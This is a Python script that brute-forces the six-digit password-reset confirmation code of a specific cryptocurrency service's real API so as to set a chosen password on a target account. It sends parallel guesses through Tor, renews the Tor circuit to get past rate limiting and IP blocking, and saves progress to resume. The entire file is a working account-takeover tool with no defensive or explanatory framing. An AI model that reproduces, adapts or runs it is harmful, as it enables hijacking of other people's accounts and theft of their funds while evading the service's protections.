atlack.py

import grequests
import json
import os
import time
import datetime

#set this constant to the login you wish to reset the password
LOGIN = "EMAIL_OR_CELLPHONE"
#what password should I change into?
CHANGE_PASS_TO = "blabla123"
#this is the TOR control password, that is defined in torrc file, it has to be uppercased because meow
TOR_PASS = "PASS"
#the actual tor proxy port
TOR_PORT = 9150
#tor control port as defined in torrc file
TOR_CONTROLPORT = 9051
#how many simultaneous connections should be opened
NUM_THREADS = 5
#timeout for requests, expired requests get save in ERRORS_FILE to be retried in the future
TIMEOUT = 5
#if time for requests surpass the TIMEOUT this amount of times, change the IP
MAX_RETRIES = 5
#last possible password, exclusive
LASTPASS = 1000000
#save ongoing session to this file
SESSION_FILE = "session.txt"
#missed password tries go to this file to be retried later
ERRORS_FILE = "missed.txt"

token = ""
last = 0
proxies = {'http':  'socks5://127.0.0.1:'+str(TOR_PORT),
           'https': 'socks5://127.0.0.1:'+str(TOR_PORT)}

# signals TOR for a new connection, not using stem Control because it conflicts with grequests
def renew_connection(): #warning, connection is only renewed after 8secs
    req = grequests.get(url="http://127.0.0.1:"+str(TOR_CONTROLPORT))
    req.method = "AUTHENTICATE \"{}\"\r\nSIGNAL NEWNYM\r\n".format(TOR_PASS) #meow
    response = grequests.map([req])

def try_code_req(token,password,code):
    data = {"userToken":token,
            "newPassword":password,
            "confirmCode":code}
    req = grequests.put("https://76znvtx2wh.execute-api.us-west-2.amazonaws.com/production/quantum/account/change-password",
                 data=json.dumps(data),headers={"Origin":"https://atlasquantum.com","Content-Type":"application/json"},proxies=proxies,timeout=TIMEOUT)
    return req


def get_token(login):
    data = {"login":login}
    req = grequests.post("https://76znvtx2wh.execute-api.us-west-2.amazonaws.com/production/quantum/account/change-password",
                            data=json.dumps(data), proxies=proxies)
    response = grequests.map([req])
    return json.loads(response[0].text)

def display_ip():
    try:
        req = grequests.get("http://httpbin.org/ip", proxies=proxies)
        response = grequests.map([req])
        print("ip",json.loads(response[0].text)["origin"]," "*70,"\n")
    except Exception:
        pass

def exception_handler(request, exception):
    #print("exception trying code",json.loads(request.kwargs["data"])["confirmCode"]+":",exception," " * 50)
    with open(ERRORS_FILE, "a") as f:
        f.write(json.loads(request.kwargs["data"])["confirmCode"]+"\n")

f = None
session = None

display_ip()

try:
    with open(SESSION_FILE,"r") as f:
        session = f.readline().split(";")
        token = session[0]
        last = int(session[1])
        print ("ongoing session detected, resuming...")
except Exception:
    print("token not found, requesting new one...")
    token = get_token(LOGIN)["userToken"]
    print("got token",token)
    last = 0
    with open(SESSION_FILE, "w") as f:
        f.write(token+";"+str(last).zfill(6))
    with open(ERRORS_FILE, "w") as f:
        f.write("")

previous_errors = []
try:
    with open(ERRORS_FILE, "r") as f:
        previous_errors = f.readlines()
    os.remove(ERRORS_FILE)
except Exception:
    pass

#begin by re-validating previous misses
passes = [i.rstrip("\n") for i in previous_errors]
passes += [str(i).zfill(6) for i in range(last,LASTPASS)]
passes_group = list(zip(*[passes[i::NUM_THREADS] for i in range(NUM_THREADS)]))

print("starting...")

start = time.time()
elapsed = TIMEOUT
toolong = MAX_RETRIES
for i in passes_group:
    start = time.time()
    print("THREADS:", str(NUM_THREADS),
          "trying:", i[0], "-", i[-1],
          "speed:", "{:.2f}s/try".format(elapsed),
          "ETA:", str(datetime.timedelta(seconds=
                                         ((LASTPASS - int(i[0])) / NUM_THREADS) * elapsed
                                         )),
          " "*4, end="\r")
    if elapsed > TIMEOUT:
        toolong = toolong - 1
        if toolong < 0:
            toolong = MAX_RETRIES
            renew_connection()
            time.sleep(8) #delay for renewal
            display_ip()
    else:
        toolong = MAX_RETRIES
    reqs = [try_code_req(token, CHANGE_PASS_TO, j) for j in i]
    response = grequests.map(reqs,exception_handler=exception_handler)
    for j in response:
        try:
            data = json.loads(j.text)
            if not "result" in data.keys():
                print("Odd Response:",data," "*30)
            elif data["result"]:
                print("Key Found! Password changed!"," "*30)
                print(data)
                os.remove(SESSION_FILE)
                os.remove(ERRORS_FILE)
                exit(0)
        except Exception:
            pass
    #record last attempt
    with open(SESSION_FILE, "w") as f:
        f.write(token+";"+i[0])
    elapsed = time.time()-start

print("finished without finding key, password may have changed\nretry to check missed keys")